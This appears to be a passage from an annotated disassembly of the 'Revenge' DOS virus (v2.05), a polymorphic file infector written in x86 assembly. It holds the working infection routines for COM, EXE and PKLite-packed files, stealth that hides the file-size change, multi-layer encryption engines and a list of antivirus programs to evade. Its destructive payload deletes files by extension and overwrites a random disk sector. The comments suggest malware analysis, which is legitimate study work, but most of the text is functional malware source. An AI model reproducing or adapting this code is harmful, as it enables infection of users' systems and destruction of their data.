mov word ptr header,0EBAh
mov encrypted_byte?,0
jmp mark_no_pkcom2
nop
encrypt190:
mov dx,190h
mov ah,3Fh
call lseekDX_functionAX ; Lseek 190h and read a byte
add encrypted_byte,53h ; Encrypt it
mov dx,190h
mov ah,40h
call lseekDX_functionAX ; Lseek 190h and write the byte
jmp mark_no_pkcom
nop
lseekDX_functionAX:
push ax
mov ax,4200h
xor cx,cx
call int_21 ; Lseek start+DX
pop ax
mov dx,offset(encrypted_byte)
mov cx,1
call int_21 ; Perform AX function
ret
mark_no_pkcom:
xor dx,dx
xor cx,cx
mov pklite_com,0
mark_encrypted:
mov jmp_dest,0
mov encrypted_byte?,0FFh
jmp check_com_size
nop
mark_no_pkcom2:
mov pklite_com,0
xor cx,cx
xor dx,dx
check_com_size:
push cx
push dx
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
pop dx
pop cx
cmp ax,27434 ; Big file?
jb cmp_little ; No? then jmp
jmp close_file
cmp_little:
cmp ax,400 ; Little file?
ja size_ok ; No? then jmp
jmp close_file
size_ok:
mov cs:ofs_vircode-100h,ax ; Calc runtime offset
add cs:ofs_vircode-100h,100h
cmp pklite_com,1 ; Pklited file?
jne calc_ofs_jmp ; No? then jmp
nop
nop
nop
sub ax,3 ; Calculate jmp to virus in pklite code
sub ax,ofs_patchcom2
jmp store_jmp_virus
nop
calc_ofs_jmp:
sub ax,3 ; Jmp to virus in non-pklited file
store_jmp_virus:
mov jmp_vir_h,ah
mov jmp_vir_l,al
mov ax,4200h
call int_21 ; Lseek to offset to patch
jnc write_jmp
jmp close_file
write_jmp:
mov ah,40h
mov dx,offset(jmp_com)
mov cx,3
call int_21 ; Write jmp
jnc jmp_append_code
jmp close_file
jmp_append_code:
jmp append_code
nop
append_code:
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
mov cx,VIRUSCODE_SIZE
nop
mov ax,0BA00h ; Encryption buffer
mov es,ax
push ds
push cs
pop ds
xor si,si
xor di,di
rep movsb ; Copy code to encryption buffer
pop ds
in al,40h ; Get random number
mov es:starting_dec_selector-100h,al
mov enc_selector,al
mov cx,VIRUSCODE_SIZE-(decrypted_code-virus_start)
nop
in al,40h ; Get random number
mov es:i1_mask-100h,al
mov di,offset(decrypted_code)
sub di,100h
xor dx,dx
l_enc_i1:
call encrypt_i1
push cx
mov cl,al
enc_inst:
nop
nop
nop
pop cx
inc di
loop l_enc_i1
jmp crypt_code_and_save
db 0
db 'Give me your WEBs, let me squeeze them in my hands,',0
db 'Your puny scaners,',0
db 'Your so-called heuristics analyzers,',0
db 'I''ll eat them whole before I''m done,',0
db 'The battle''s fought and the game is won,',0
db 'I am the one the only one,',0
db 'I am the god of kingdom come,',0
crypt_code_and_save:
push ds
push es
pop ds
push bx
mov bx,cs:ofs_vircode-100h
push bx
add bx,MME_DEC+SSRME_DEC
mov ax,VIRUSCODE_SIZE
mov cl,4 ; Prepare buffer
shr ax,cl
inc ax
mov dx,cs
add ax,dx
mov es,ax
mov cx,VIRUSCODE_SIZE
nop
xor dx,dx
push es
push ds
call res_engine ; Call engine
pop es
xor di,di
xor si,si
push cx
cld
rep movsb
pop cx
push es
pop ds
pop es
pop bx
push bx
add bx,MME_DEC
push es
push ds
call ssrme_engine ; Call engine
pop es
xor di,di
xor si,si
push cx
cld
rep movsb
pop cx
push es
pop ds
pop es
pop bx
call mme_engine ; Call engine
pop bx
push ds
mov ah,40h
call int_21 ; Write virus body to disk
pop es
pop ds
jnc check_pkexe_snd
jmp close_file
check_pkexe_snd:
cmp pklite_exe,1 ; PKLited EXE file?
jne check_pkcom_snd ; No? then jmp
jmp set_infection_mark
check_pkcom_snd:
cmp pklite_com,1 ; PKLited COM file?
jne check_tlink_snd ; No? then jmp
jmp set_infection_mark
check_tlink_snd:
cmp byte ptr word_ofs1C,1 ; Linked with Borland TLINK?
jne check_lzexe_snd ; No? then jmp
jmp set_infection_mark
check_lzexe_snd:
cmp word_ofs1C,'ZL' ; LZEXE file?
jne jmp_SND ; No? then jmp
jmp set_infection_mark
jmp_SND:
jmp SND
nop
SND:
xor cx,cx
xor dx,dx
mov ax,4200h
call int_21 ; Lseek start
push ds
mov ax,0BA00h
mov ds,ax ; DS:=0BA00h
mov ah,3Fh
xor dx,dx
mov cx,16*1024
call int_21 ; Read 16KB from file
push ax
mov cx,ax ; CX:=number of bytes read
xor di,di
l_next_SND:
cmp byte ptr [di],0B8h ; MOV AX,xxxx?
je cmp_movax_int21h ; Yes? then jmp
nop
nop
nop
cmp byte ptr [di],0B4h ; MOV AH,xx?
jne next_SND ; No? then jmp
nop
nop
nop
cmp word ptr [di+2],21CDh ; INT 21h?
jne next_SND
nop
nop ; Found MOV AH,xx + INT 21h
nop
mov al,[di+1] ; Get xx in MOV AH,xx
mov byte ptr [di],0F0h ; Int 6h when executed
push ax
call get_random
and ax,7 ; AX in [0..7]
mov bp,ax
mov al,byte ptr cs:[bp+SND_table-100h]
mov [di+1],al ; Gen instruction
call get_random
mov [di+2],al
mov dl,al
pop ax
xor al,dl ; Encrypt original byte
mov [di+3],al ; and store it
add di,4
jmp next_SND
nop
cmp_movax_int21h:
cmp word ptr [di+3],21CDh ; INT 21h?
jne next_SND
nop
nop
nop
mov ax,[di+1] ; xxxx in MOV AX,xxxx
mov byte ptr [di],0F0h ; Int 6h when executed
push ax
call get_random
and ax,7 ; AX in [0..7]
mov bp,ax
mov al,byte ptr cs:[bp+SND_table-100h]
inc al ; AL -> AX
mov [di+1],al ; Generate opcode
call get_random
mov [di+2],al ; Random number
mov dl,al
mov dh,al
pop ax
xor ax,dx ; Encrypt original word
mov [di+3],ax ; and store it
add di,5
next_SND:
inc di
loop l_next_SND
xor dx,dx
xor cx,cx
mov ax,4200h ; Lseek start
call int_21
pop ax
xor dx,dx
mov cx,ax
mov ah,40h
call int_21 ; Write code
pop ds
jmp set_infection_mark
nop
get_random:
pushf
in al,40h ; Get random number
xor al,cs:[bx]
ror al,cl
add al,53h
popf
ret
SND_table:
db 3Ch ; cmp al,xx (+1 = cmp ax,xxxx)
db 24h ; and al,xx (+1 = and ax,xxxx)
db 14h ; adc al,xx (+1 = adx ax,xxxx)
db 0Ch ; or al,xx (+1 = or ax,xxxx)
db 34h ; xor al,xx (+1 = xor ax,xxxx)
db 1Ch ; sbb al,xx (+1 = sbb ax,xxxx)
db 2Ch ; sub al,xx (+1 = sub ax,xxxx)
db 04h ; add al,xx (+1 = add ax,xxxx)
set_infection_mark:
mov ax,5700h
call int_21 ; Get file date/time
mov ax,cx ; file time
mov cl,5
shr ax,cl
shl ax,cl ; Clear seconds field
add ax,file_month ; Set infection mark (seconds=month)
mov cx,ax
mov ax,5701h
call int_21 ; Set file date/time
jc close_file
nop
nop
nop
mov pklite_exe,0
mov pklite_com,0
jmp close_infected
nop
close_infected:
mov ah,3Eh
call int_21 ; Close file
inc infection_count
jmp restore_attr
nop
close_file:
mov ah,3Eh
call int_21 ; Close file
restore_attr:
mov cx,attributes
pop dx
pop ds
mov ax,4301h
call int_21 ; Restore attributes
restore_i24:
push ds
mov ax,2524h
mov dx,cs:ofs_i24-100h
mov bx,cs:seg_i24-100h
mov ds,bx
call int_21 ; Restore int 24h
pop ds
mov pklite_exe,0
mov pklite_com,0
push ds
push cs
pop ax
dec ax
dec ax
push ax
pop ds
inc word ptr ds:[8] ; Inc number of files processed
cmp word ptr ds:[8],50 ; 50 files?
pop ds
je check_activation ; Yes? then jmp
jmp popregs_iret
check_activation:
cmp cs:tick_counter-100h,900*18 ; >=900 seconds? (>15 mins.)
jae activation
jmp popregs_iret
activation:
mov ax,cs
sub ax,10h
mov ds,ax ; DS:=CS-10h
call print_REVENGE
jmp popregs_iret
is_exe:
mov host_type,1 ; EXE file
call check4pklite_exe ; Pklited file?
jc no_pk_exe ; No? then jmp
nop
nop
nop
jmp pk_exe
nop
pk_exe:
mov pklite_exe,1 ; It's a pklited exe
jmp process_exe
nop
no_pk_exe:
mov pklite_exe,0 ; It isn't a pklited exe
process_exe:
mov cl,4
mov dx,_hdrsize
shl dx,cl ; *16 (Header size in bytes)
add dx,512
mov ah,3Fh
push dx
call lseekDX_functionAX ; Read a byte
add encrypted_byte,7Eh ; Encrypt it
pop dx
mov ah,40h
call lseekDX_functionAX ; Write byte
jmp store_header
nop
store_header:
push si
push di
push es
mov si,offset(header)
mov di,offset(header_exe)
mov cx,e_header_exe-header_exe
cld
push ds
pop es
rep movsb ; Store header
pop es
pop di
pop si
mov ax,4202h
xor cx,cx
xor dx,dx
call int_21 ; Lseek end
jnc check_size_exe
jmp close_file
check_size_exe:
cmp dx,0 ; > 64k?
jnz check_big_exe ; Yes? then jmp
nop
nop
nop
cmp ax,4000 ; >= 4000 bytes?
jae check_big_exe ; Yes? then jmp
jmp close_file ; No? then jmp (too small)
check_big_exe:
cmp dx,9 ; > 9*64k ?
jb fix_header ; No? then jmp
jmp close_file ; Yes? then jmp (too big)
fix_header:
mov size_exe_l,ax ; Store file size
mov size_exe_h,dx
clc
add ax,VIRUS_SIZE
nop
adc dx,0
mov cx,512
div cx ; Calculate number of pages
mov pagecnt,ax
inc pagecnt ; Not always!!!
mov partpag,dx ; Length of partial page at end
mov ax,size_exe_l ; Get original size
mov dx,size_exe_h
mov cx,16
div cx ; Calculate virus segment and IP
mov exeip,dx ; Virus IP
sub ax,hdrsize
mov relocs,ax ; Virus segment
mov reloss,ax ; Stack segment
mov exesp,0FFFEh ; SP
push ax
mov ax,exeip
mov ofs_vircode,ax ; Virus runtime offset
pop ax
xor dx,dx
xor cx,cx
mov ax,4200h
call int_21 ; Lseek start
jnc patch_pk_header?
jmp close_file
patch_pk_header?:
cmp pklite_exe,1 ; Pklited exe?
jne write_header_exe ; No? then jmp
nop
nop
nop
mov ax,exeip
mov pk_exe_ip,ax
mov ax,relocs
add ax,10h ; Add PSP
mov pk_exe_cs,ax
mov ax,_exeip ; Header points to Pklite code
mov exeip,ax
mov ax,_relocs
mov relocs,ax
write_header_exe:
mov dx,offset(header_exe)
mov cx,e_header_exe-header_exe
mov ah,40h
call int_21 ; Write new header
jnc wrote_header_exe
jmp close_file
wrote_header_exe:
cmp pklite_exe,1 ; Pklited exe?
je patch_pkexe ; Yes? then jmp
jmp append_code
patch_pkexe:
mov ax,4200h
mov dx,ofs_segcode
add dx,29h
xor cx,cx
call int_21
mov ah,40h ; Lseek to code segment+29h
mov cx,e_pkexe_patch-pkexe_patch
nop
mov dx,offset(pkexe_patch)
call int_21 ; Write patch
jnc patch2_pkexe
jmp close_file
patch2_pkexe:
mov ax,4200h
mov dx,ofs_segcode
add dx,0Dh
xor cx,cx
call int_21 ; Lseek to code segment+0Dh
mov ah,40h
mov cx,1
mov dx,offset(jmp_xx_pkexe)
call int_21 ; Write jmp (force jmp to patched code)
jnc jmp2_append_code
jmp close_file
jmp2_append_code:
jmp append_code
pkexe_patch:
mov ax,es
add cs:[135h],ax
jmp $+2
db 0EAh ; jmp far to virus start
pk_exe_ip dw 0
pk_exe_cs dw 0
e_pkexe_patch:
size_exe_l dw 0
size_exe_h dw 0
header_exe:
signature dw 0
partpag dw 0
pagecnt dw 0
relocnt dw 0
hdrsize dw 0
minmem dw 0
maxmem dw 0
reloss dw 0
exesp dw 0
chksum dw 0
exeip dw 0
relocs dw 0
tabloff dw 0
overlay dw 0
dw 0
dw 0
e_header_exe:
ff_fn:
call int_21
jnc found_fffn
jmp exit_fffn_preserve_AX
found_fffn:
mov ah,2Fh
call int_21 ; Get DTA address in ES:BX
mov cl,es:[bx+15h] ; Get attributes
and cl,10h
cmp cl,10h ; Subdirectory?
jne no_directory ; No? then jmp
jmp exit_fffn
no_directory:
mov cx,es:[bx+16h] ; Get file time
mov dx,es:[bx+18h] ; Get file date
push cx
mov ax,dx ; AX:=file date
mov cl,5
shr ax,cl
and ax,0Fh ; AX:=month
mov dx,ax
pop ax ; AX:=file time
and ax,1Fh ; AX:=seconds
cmp ax,dx ; seconds=month? Infected?
jne check_table_ext ; No? then jmp
nop
nop
nop
cmp word ptr es:[bx+1Ch],0 ; >64KB?
jne restore_size ; Yes? then jmp
nop
nop
nop
cmp es:[bx+1Ah],VIRUS_SIZE ; >=virus size
jae restore_size ; Yes? then jmp
jmp exit_fffn
restore_size:
mov ax,es:[bx+1Ah]
cmp ax,VIRUS_SIZE
; sub es:[bx+1Ah],VIRUS_SIZE
; sbb es:[bx+1Ch],0 ?? ;)
nop
jb cross_64k
nop
nop
nop
jmp no_cross_64k
nop
cross_64k:
dec word ptr es:[bx+1Ch]
no_cross_64k:
sub es:[bx+1Ah],VIRUS_SIZE
jmp check_table_ext
nop
check_table_ext:
mov bp,offset(table_ext)
sub bp,100h
mov di,bx
add di,1Eh ; Point to filename
mov si,di
next_char_fname:
mov ah,es:[di]
cmp ah,0 ; End of filename?
jnz cmp_dot ; No? then jmp
nop
nop
nop
jmp exit_fffn
cmp_dot:
cmp ah,'.' ; Extension?
je found_extension ; Yes? then jmp
nop
nop
nop
inc di
jmp next_char_fname
found_extension:
inc di ; Point to extension
l_next_extension:
mov ax,cs:[bp]
cmp ax,es:[di] ; Extension in table?
je cmp_last_ext ; Maybe? then jmp
nop
nop
nop
cmp al,0FFh ; End of table?
je exit_fffn ; Yes? then jmp
nop
nop
nop
add bp,3 ; Next
jmp l_next_extension
cmp_last_ext:
mov ah,es:[di+2]
cmp ah,cs:[bp+2] ; Extension in table?
je jmp_kill_file ; Yes? then jmp
nop
nop
nop
add bp,3
jmp l_next_extension
jmp_kill_file:
jmp kill_file
nop
kill_file:
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,es:[24h*4] ; Read & store int 24h
mov cs:ofs_i24-100h,ax
mov ax,es:[24h*4+2]
mov cs:seg_i24-100h,ax
mov es:[24h*4],offset(int_24)-100h ; Set new int 24h
mov es:[24h*4+2],cs
pop es
push es
push si
pop dx
pop ds
mov ah,41h
call int_21 ; Delete file
push es
xor ax,ax
mov es,ax ; ES:=0
mov ax,cs:ofs_i24-100h ; Restore int 24h
mov es:[24h*4],ax
mov ax,cs:seg_i24-100h
mov es:[24h*4+2],ax
pop es
push si
pop di
cld
mov ax,0A898h ; Return 'shit !',0 in russian
stosw
mov ax,20E2h
stosw
mov ax,'!' ; '!',0
stosw
jmp exit_fffn ; Stupid jmp!!!
nop
exit_fffn:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
clc
add sp,6
jmp exit_21h
exit_fffn_preserve_AX:
mov cs:returnAX_fffn-100h,ax ; Preserve AX
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
pop ax
mov ax,cs:returnAX_fffn-100h ; Return AX
add sp,6
stc
jmp exit_21h
popregs_iret:
pop es
pop ds
pop di
pop si
pop bp
pop dx
pop cx
pop bx
pop ax
popf
iret
ofs_i24 dw 0
seg_i24 dw 0
restore_exec_host:
pop es
pop ds
cmp cs:[si+host_type],1 ; EXE?
je restore_exe ; Yes? then jmp
nop ; It's COM
nop
nop
cmp cs:[si+encrypted_byte?],0FFh ; Byte encrypted?
je decrypt_byte190 ; Yes? then jmp
nop
nop
nop
mov ax,103h ; Initial call return address
; If not encrypted it starts with 'call'
push ax
jmp restore_com
nop
decrypt_byte190:
mov al,cs:[si+encrypted_byte]
sub al,53h ; Decrypt byte
mov cs:[190h+100h],al ; Restore code in memory
restore_com:
mov ax,cs:[si+jmp_dest]
add ax,100h ; Host entry point
push ax
push si
add si,100h ; Remove virus from memory
mov cx,offset(delmem_here)-100h
call remove_from_memory
delmem_here:
pop si
add si,offset(restore_exe)
mov cx,virus_end-restore_exe
call remove_from_memory
ret ; Return to host
remove_from_memory:
push cx
l_del_mem:
mov byte ptr cs:[si],'#' ; Remove copy virus from memory
inc si
loop l_del_mem
pop cx
ret
db 'All dead...',0
restore_exe:
sub byte ptr ds:[512+100h],7Eh ; Decrypt byte
cmp cs:[si+pklite_exe],1 ; Pklited file?
jne no_pk_host_exe ; No? then jmp
nop
nop
nop
mov ds:[0Dh+100h],9090h ; Remove patch
no_pk_host_exe:
push ax
mov ax,ds
add ax,10h ; Add PSP
add cs:[si+_reloss],ax ; Relocate segments
add cs:[si+_relocs],ax
mov ax,cs:[si+_exeip]
mov cs:[si+file_ip],ax
mov ax,cs:[si+_relocs]
mov cs:[si+file_cs],ax
mov ax,cs:[si+_exesp]
mov cs:[si+file_sp],ax
mov ax,cs:[si+_reloss]
mov cs:[si+file_ss],ax
pop ax
push si
add si,100h
mov cx,offset(delmem_here)-100h ; offset(delmem_here2) !!!
call remove_from_memory
;delmem_here2:
pop si
push si
add si,offset(check_valid_fname)
mov cx,virus_end-check_valid_fname
call remove_from_memory
pop si
cli
mov sp,cs:[si+file_sp] ; Set stack
mov ss,cs:[si+file_ss]
sti
jmp dword ptr cs:[si+file_ip] ; Exec host
file_ip dw 0
file_cs dw 0
file_sp dw 0
file_ss dw 0
check_valid_fname:
push ds
push si
push di
push bx
mov di,dx
mov si,offset(av_table)
sub si,100h
mov bx,di
l_search_fname:
cmp byte ptr [di],0 ; End of string?
jz end_search ; Yes? then jmp
nop
nop
nop
cmp byte ptr [di],'\' ; Start of directory/file name?
je mark_position ; Yes? then jmp
nop
nop
nop
next_search_fname:
inc di
jmp l_search_fname
mark_position:
mov bx,di
jmp next_search_fname
end_search:
inc bx
next_inv_fname:
mov ax,cs:[si] ; Get 2 chars from table
cmp ax,'##' ; End of table?
je valid_fname ; Yes? then jmp
nop
nop
nop
cmp [bx+1],'DI' ; '?ID*.*' ? (AIDTEST?)
jne check_table ; No? then jmp
jmp print_msg_russ ; Yes? then jmp
check_table:
cmp ax,[bx] ; Invalid filename (in table)?
je invalid_fname ; Yes? then jmp
nop
nop
nop
inc si ; Next table entry
inc si
jmp next_inv_fname
valid_fname:
pop bx
pop di
pop si
pop ds
ret
invalid_fname:
pop bx
pop di
pop si
pop ds
pop ax
jmp restore_attr
convert2uppercase:
push di
push ax
l_c2up:
mov ah,[di]
cmp ah,0 ; End of string?
jz exit_c2up ; Yes? then jmp
nop
nop
nop
cmp ah,'a' ; In lowercase?
jb next_c2up ; No? then jmp
nop
nop
nop
cmp ah,'z' ; In lowercase?
ja next_c2up ; No? then jmp
nop
nop
nop
sub ah,' ' ; Convert in uppercase
next_c2up:
mov [di],ah
inc di
jmp l_c2up
exit_c2up:
pop ax
pop di
ret
check4pklite_com:
push di
push ax
push cx
xor di,di
cmp byte ptr [di+header],50h ; PUSH AX? (PKL 1.50+)
jne no_pk150 ; No? then jmp
nop
nop
nop
inc di ; Skip 'push ax'
no_pk150:
cmp byte ptr [di+header],0B8h ; MOV AX,xxxx?
jne no_pklite ; No? then jmp
nop
nop
nop
cmp byte ptr [di+header+3],0BAh ; MOV DX,xxxx?
jnz no_pklite ; No? then jmp
nop
nop
nop
mov di,offset(header)+7
mov cx,16
xor ax,ax
l_crc_pkl:
add al,[di] ; Make CRC of code
inc di
loop l_crc_pkl
cmp al,53h ; PKLite 1.00?
je pk_100 ; Yes? then jmp
nop
nop
nop
cmp al,0E5h ; PKLite 1.15?
je pk_115 ; Yes? then jmp
nop
nop
nop
cmp al,9Dh ; PKLite 1.50?
jz pk_150 ; Yes? then jmp
nop
nop
nop
jmp no_pklite
nop
pk_100:
mov ofs_patchcom2,71h
mov inc_ofs_patch1,0 ; Dir patch+0
jmp pklite_found
nop
pk_115:
mov ofs_patchcom2,73h
mov inc_ofs_patch1,0 ; Dir patch+0
jmp pklite_found
nop
pk_150:
mov ofs_patchcom2,84h
mov inc_ofs_patch1,1 ; Dir patch+1
pklite_found:
clc
jmp pklite
nop
no_pklite:
stc
pklite:
pop cx
pop ax
pop di
ret
check4pklite_exe:
cmp _relocs,0FFF0h ; CS segment=0FFF0h? (like pklited file)
jne not_found_pkexe ; No? then jmp
nop
nop
nop
cmp _exeip,100h ; IP=100h? (like pklited files)
jne not_found_pkexe ; No? then jmp
nop ; Yes? Seems to be a pklited exe file
nop
nop
mov ax,4200h
mov cl,4
mov dx,_hdrsize
shl dx,cl ; header size * 16 = start of code
mov ofs_segcode,dx
add dx,6 ; Skip 6 bytes
xor cx,cx
call int_21 ; Lseek to end of header+6
mov ah,3Fh
mov dx,offset(buffer_pkexe)
mov cx,0Ah
call int_21 ; Read from file
mov si,offset(pkexe_code)
mov di,offset(buffer_pkexe)
mov cx,0Ah
l_cmp_pkcode:
mov al,[si]
cmp al,[di] ; Check if it's a pklited exe file
jne not_found_pkexe ; No? then jmp
nop
nop
nop
inc di
inc si
loop l_cmp_pkcode
clc
ret
not_found_pkexe:
stc
ret
buffer_pkexe:
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
db 0
pkexe_code:
; add ax,0
; cmp ax,[2]
; jnb $+1Ch
; sub ax,0
db 5
db 0
db 0
db 3Bh
db 6
db 2
db 0
db 73h
db 1Ah
db 2Dh
ofs_segcode dw 0
print_msg_russ:
push cs
pop ds
mov ah,9
mov dx,offset(msg_russian)-100h
call int_21 ; Print msg
cli
hlt ; Hang computer
print_REVENGE:
mov ax,3
int 10h ; VIDEO: Change mode to 80x25 16col.
mov ax,40h ; why??
mov es,ax ; why??
mov cx,0FFFFh
mov ah,1
int 10h ; VIDEO: Set cursor characteristics
; CH bits 0-4 = start line in character cell
; bits 5-6 = blink attribute
; CL bits 0-4 = end line in character cell
mov ax,0B800h
mov es,ax ; ES:=video memory segment
mov di,(3*80+28)*2 ; gotoxy(28,3)
mov si,offset(this_is)
write_this_is:
mov ah,[si]
cmp ah,0 ; End of string?
jz wrote_this_is ; Yes? then jmp
nop
nop
nop
mov es:[di],ah ; Write char to screen
add di,3*2 ; 2 chars between letters
inc si
jmp write_this_is
wrote_this_is:
mov di,(6*80)*2 ; gotoxy(0,6)
mov bx,di
mov si,offset(revenge)
mov cx,12 ; 12 lines
l_revenge_line:
mov al,[si]
cmp al,0 ; End of line?
je new_revenge_line ; Yes? then jmp
nop
nop
nop
cmp al,' ' ; Space?
jne cmp_b1 ; No? then jmp
nop
nop
nop
mov ah,0 ; Color: black
jmp write_charAL_colorAH
nop
cmp_b1:
cmp al,'±' ; ± code?
jne cmp126 ; No? then jmp
nop
nop
nop
mov ah,0C0h ; Blink ±
jmp write_charAL_colorAH
nop
cmp126:
cmp al,'~' ; ~ code?
jne cmpp ; No? then jmp
jmp code126p
cmpp:
cmp al,'#' ; '#' code?
jne cmp_d ; No? then jmp
jmp code126p
cmp_d:
cmp al,'d' ; 'd' code?
jne cmp_w ; No? then jmp
nop
nop
nop
mov ah,0C0h ; Blink
mov al,'±'
jmp write_2chars
cmp_w:
cmp al,'w' ; 'w' code?
jne cmpadm
nop
nop
nop
mov ah,4 ; Color: red
mov al,'ß'
jmp write_2chars
cmpadm:
cmp al,'!' ; '!' code?
jne no_special_char ; No? then jmp
nop
nop
nop
xor ax,ax ; Char 0, color black
jmp write_2chars
no_special_char:
mov ah,4 ; Color: red
write_charAL_colorAH:
mov es:[di],ax
inc di
inc di
inc si
jmp l_revenge_line
new_revenge_line:
add bx,80*2 ; Next screen line
mov di,bx
inc si
loop l_revenge_line
mov di,(20*80+6)*2 ; gotoxy(6,20)
mov si,offset(of_SSR)
write_of_SSR:
mov ah,[si]
cmp ah,0 ; End of string?
jz wrote_of_SSR ; Yes? then jmp
nop
nop
nop
mov es:[di],ah ; Write char to screen
add di,3*2 ; 2 chars between letters
inc si
jmp write_of_SSR
wrote_of_SSR:
mov cx,200 ; !?
mov si,1
sti
change_line_colors:
mov di,(20*80+5)*2 ; gotoxy(20,5)
mov cx,68
l_set_colors:
push cx
mov ah,cl ; Calculate color
mov cl,4
mov bx,si
add ah,bl
shl ah,cl
shr ah,cl
cmp ah,0 ; Black?
jnz no_black ; No? then jmp
nop
nop
nop
mov ah,1 ; Skip black
no_black:
mov es:[di+1],ah ; Set char color
pop cx
inc di ; Next char
inc di
loop l_set_colors
call delay
inc si ; New colors
in al,60h ; AT Keyboard controller 8042.
cmp al,1 ; ESC key pressed?
jne change_line_colors ; No? then jmp
jmp print_msg_and_kill_sector
nop
delay:
mov cx,0FFFFh
loop $
mov cx,0FFFFh
loop $
mov cx,0FFFFh
loop $
ret
code126p:
push cx
mov cl,[si+1] ; Number of chars to repeat
cmp al,'~'
jne codep
nop ; '~' char
nop
nop
mov ah,0 ; Color: Black
jmp l_repeat_char
nop
codep:
mov ah,0C0h ; Blink
mov al,'±'
l_repeat_char:
cmp cl,0 ; More chars?
jz end_repeat_char ; No? then jmp
nop
nop
nop
mov es:[di],ax ; Write char
inc di
inc di
dec cl
jmp l_repeat_char
end_repeat_char:
inc si
inc si
pop cx
jmp l_revenge_line
write_2chars:
mov es:[di],ax ; Write char
inc di
inc di
jmp write_charAL_colorAH ; Write another char
print_msg_and_kill_sector:
mov ax,2
int 10h ; VIDEO: Change mode to 80x25 B&W
mov al,3
int 10h ; VIDEO: Change mode to 80x25 16col.
mov ah,1
mov cx,2000h ; Invisible cursor
int 10h ; VIDEO: Set cursor characteristics
mov cx,0
mov di,(9*80+8)*2 ; gotoxy(8,9)
mov si,offset(release_msg)
mov ax,0B800h
mov es,ax ; Point to video memory
l_print_version:
push di
call print_string
pop di
add di,80*2 ; Next screen line
inc si
add cx,1 ; Next line (inc cx!!)
cmp cx,4 ; 4 lines printed?
jne l_print_version
mov ax,40h
mov es,ax ; ES:=40h
mov dx,es:[6Ch] ; Random sector
mov cx,1 ; 1 sector
mov al,2 ; C:
int 26h ; DOS - ABSOLUTE DISK WRITE
; AL = drive number (0=A, 1=B, etc),
; DS:BX = Disk Transfer Address (buffer)
; CX = number of sectors to write,
; DX = first relative sector to write
; Overwrite random sector
cli
hlt ; Hang computer
print_string:
mov al,[si]
mov ah,11
add ah,cl ; Line 1: color 11 -> blue
; Line 2: color 12 -> red
; Line 3: color 13 -> pink
; Line 4: color 14 -> yellow
cmp al,'#' ; Special code?
je skip_chars ; Yes? then jmp
nop
nop
nop
cmp al,0 ; End of string?
jz end_print_string ; Yes? then jmp
nop
nop
nop
mov es:[di],ax ; Print char
inc si
inc di
inc di
jmp print_string
end_print_string:
ret
skip_chars:
mov al,[si+1] ; Number of chars to skip
shl al,1 ; 2 bytes per each char
mov ah,0
add di,ax ; Skip chars
inc si
inc si
inc di
inc di
jmp print_string
encrypt_i1:
push cx
push ax
push si
push di
push es
mov si,offset(encrypt_instructions)
mov di,offset(enc_inst)
mov al,enc_selector
ror al,1
mov enc_selector,al
mov cl,6
shl al,cl
shr al,cl
mov cl,3
mul cl
add si,ax
call copy_enc_inst
pop es
pop di
pop si
pop ax
pop cx
ret
copy_enc_inst:
cld
mov cx,3
push ds
pop es
rep movsb
ret
enc_selector db 0
; Uncompressed graphic:
;
; T H I S I S
;
; *±± ±±±±± *±±
; *±±±ßßßÛ±± ܱ±±±± *±± *±± ܱ±±±± *±± ±±±± ±±±± ±± ܱ±±±±
; Û±±± *±±*±±ßßÛ±± *±± *±± *±±ßßÛ±± *±±±ßßÛ±±*±±ßßß±±± *±±ßßÛ±±
; *±±± *±± *±± *±± Û± *±± *±± *±± *±± *±±*±± *±± *±± *±±
; Û±±±±±±± *±±±±±±± *±± *±± *±±±±±±± *±± *±± Û±±±±±±±*±±±±±±±
; *±±± *±± *±±±ßßß *±± *± *±±±ßßß *±± *±± ßß±±±±±*±±±ßßß
; *±± Û±± Û±± ± *±±*± Û±± ± *±± *±± ßßßÛ± Û±± ±
; Û±± Û±± Û±±±±± *±± Û±±±±± *±± *±± ± *±± Û±±±±±
; *±±± Û±± ßßßß ßß ßßßß ßß ßß ±± *±± ßßßß
; Û±± Û±± *±±±±±±
; ßßß Û±± ßßßßß
; Û±±
;
; O F S T A I N L E S S S T E E L R A T
release_msg:
db 'úúúú---BELBELBEL Revenge virus v 2.05 released at 08.08.96 BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL Copyright (c) 1996-97 2 Rats Techno Soft BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL#',11h, 'Written by#',0Eh, 'BELBELBEL---úúúú',0
db 'úúúú---BELBELBEL#',0Dh, 'Stainless Steel Rat#',9, 'BELBELBEL---úúúú',0
db 'StealthedMetamorphicCrazyForcedSynthesatedRandom'
db 'MegaLayerEncryptionProgressionMutationEngine'
db 'SeekAndDestroyerGenerator',0
dw 0 ; Unused!
dw 0 ; Unused!
dw 0 ; Unused!
file_month dw 0
returnAX_fffn dw 0
attributes dw 0
pklite_com db 0 ; 0 = Not compressed with Pklite
; 1 = Compressed with Pklite
jmp_dest dw 0
ofs_patchcom2 dw 0
inc_ofs_patch1 dw 0
encrypted_byte? db 0 ; 0FFh -> Yes
; 0 -> No
db 0 ; Unused!
_FFFF dw 0FFFFh
infection_count dw 0
encrypted_byte db 0
host_type db 0 ; 0 = COM
; 1 = EXE
ofs_vircode dw 0
table_ext:
db 'PAR' ; Windows swap file
db 'PIF' ; Windows PIF
db 'ICO' ; Windows Icon
db '°°°' ; ???
db 'PAS' ; Pascal sources
db 'BAS' ; Basic sources
db 'FRQ' ; ???
db '311' ; ???
db '312' ; ???
db 'TPU' ; Turbo Pascal Units
db 'GIF' ; GIF graphic format
db 'JPG' ; JPG graphic format
db 'NLM' ; Novell Netware (?)
db 'STM' ; ???
db 'MOD' ; MOD song format
db 'CPP' ; C++ sources
db 'DOT' ; WinWord
db 0FFh ; End of table ÿ
av_table:
db 'DR' ; DRWEB
db 'AI' ; AIDSTEST
db 'AD' ; ADINF
db 'CO' ; COMMAND.COM
db 'HI' ; HIEW
db 'AV' ; AVP, AVSCAN <ÄÄÄÄÄÄÄÄÄÄÄ¿
db 'WI' ; WIN ³
db 'KE' ; KEYB ³
db 'US' ; USER.EXE (Windows file) ³
